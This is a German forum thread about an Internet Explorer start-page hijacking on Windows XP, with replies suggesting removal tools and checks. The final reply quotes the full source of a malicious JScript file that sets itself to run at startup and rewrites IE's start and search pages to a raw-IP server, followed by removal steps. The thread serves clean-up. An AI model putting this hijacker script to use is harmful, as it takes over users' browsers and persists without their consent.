Problem mit Internet Explorer

Hallo Zusammen

Ich habe ein kleines Problem mit einen XP Prof Rechner.

Und zwar

Wenn ich eine Internet Verbindung aufbaue schaut es im ersten Moment so aus als wenn alles Ok wäre,

gehe ich aber z.B auf eine Suchseite oder auf einer Seite auf einen Link komme ich nicht mehr weiter.

Die Verbindung gefriert praktisch ein.

Wenn ich dann den I-Explorer schließe und wieder öffne hab ich dann als Startseite http://www.search-space.com und die bekomme ich nicht mehr weg.

Außerdem steigt die CPU Auslastung der Svchost.exe auf 99%.

Habe volgendes schon probiert.

Regedit durchsucht nach dieser Seite alle gefundenen Einträge entfernt.

Explorer auf diese Einträge durchsucht.

Norten Sec Update und Virenprüfung laufen lassen.

Blaster32 tool laufen lassen.

Ergebnis = Null

Wenn ich ins Internet gehe und den I-Explorer erneut starte steht die Seite wieder drin.

Weis nix mehr

Vielleicht kann mir jemand weiterhelfen, wäre sehr sehr sehr dankbar.

Mfg

Herrmannfrn

Hallo,

es gibt im Internet spezielle Programme die deinen Rechner nach genau soetwas durchsuchen und dan ggf. die Sachen entfernen.

Such nach yet another Warner

oder einfach http://www.yaw.at

Hi,

ich kann Dir da Spybot empfehlen.

http://www.safer-networking.org/index.php?lang=de&page=news

mfg Haraldino

Danke zusammen

Werde dies gleich mal heute Abend testen sollte es nicht bringen melde ich mich wieder.

mfg

Herrmann Frank

Hallo,

ignoriere das was ich eben geschrieben habe, ich meinte eignetlich spybot.

Yet Another Warner ist nur gegen Dialer.

SORRY

Hi!

Gute Erfahrungen habe ich auch mit Ad-aware gemacht!

http://www.lavasoftusa.com/

Auf jeden Fall hast Du Dir mächtig etwas eingefangen.

Suche einmalaus dieser seltsamen Seite ob es dort noch eine andere URL gibt und wenn ja, scanne Deine Registry auch danach.

Hallo zusammen

habe die tools Down geladen und inst.

Der gewünschte erfolg blieb aber denoch aus.

Bekomme weiterhin immer diese Startseite.

Und wenn ich auf einer Seite z.B auf einen Link gehe friert das ganze ein also der I-Explorer reagiert dann nicht mehr.

Ich glaube da kann man nur noch neu Installieren.

mfg

Herrmannfrn

Hi

hast su schon die Sys- und Eventlogs angeschaut?

Habe schon gute Erfahrungen damit gemacht. :suspect:

Greetz

Ich habe auch keine Idee mehr dazu,

also würde ich an deiner Stelle auch einfach mal den IE neu installieren und gucken, ob es was bringt.

Hi,

hast du bei spybot zuerst den update gemacht und gestartet??

wenn nicht - update - dann nochmal starten.

mfg Haraldino

Suche hier im Board nach google hosts - da gibt es ein Problem mit der Hosts-Datei, die kann verschoben werden.

-------------

Gruß, Auer

Danke zusammen

werde die neuen Vorschläge ausprobieren melde mich dann wieder.

mfg

Herrmannfrn

Hi,

habe hier einen Link für Dich - vielleicht hilft er Dir.

http://spotlight.de/zforen/sec/m/sec-1070753358-768.html

mfg Haraldino

Servus alle.

Hab genau das gleiche Problem... (gleiche Seite usw.)

Hab alles ausprobiert, nix hilft. Benutz im Moment Mozilla Firebird, denn dem macht das gar nix aus. werde dann bei Zeiten mal formatieren.

Also ich hab bei mir in der registry einen eintrag zu einer javascript datei namens update911.js gehabt die folgendes beinhaltet:

var url = "http://81.211.105.9/index.php?v=1";

var burl = "http://81.211.105.9/search.php?v=1";

var fso = new ActiveXObject("Scripting.FileSystemObject");

var tfolder = fso.GetSpecialFolder(0);

var filepath = tfolder + "\\update911.js";

var Shell = new ActiveXObject("WScript.Shell");

Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);

Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);

Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);

Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);

Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");

Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");

Dadurch wurde halt immer meine startseite bei einem neustart geändert!

Der Eintrag war unter

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

könnte allerdings genausogut unter

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

sein!

Einfach mal schauen! Allerdings nach einem virendefinitions update wurde diese datei als Virus erkannt unter dem namen

VBS.StartPage keine ahnung ob es da noch mehr ausführungen von gibt!

Einfach diese datei löschen und den registry eintrag auch dann klappts auch wieder mit der Startage :)

Gruß

Dr.Kiffer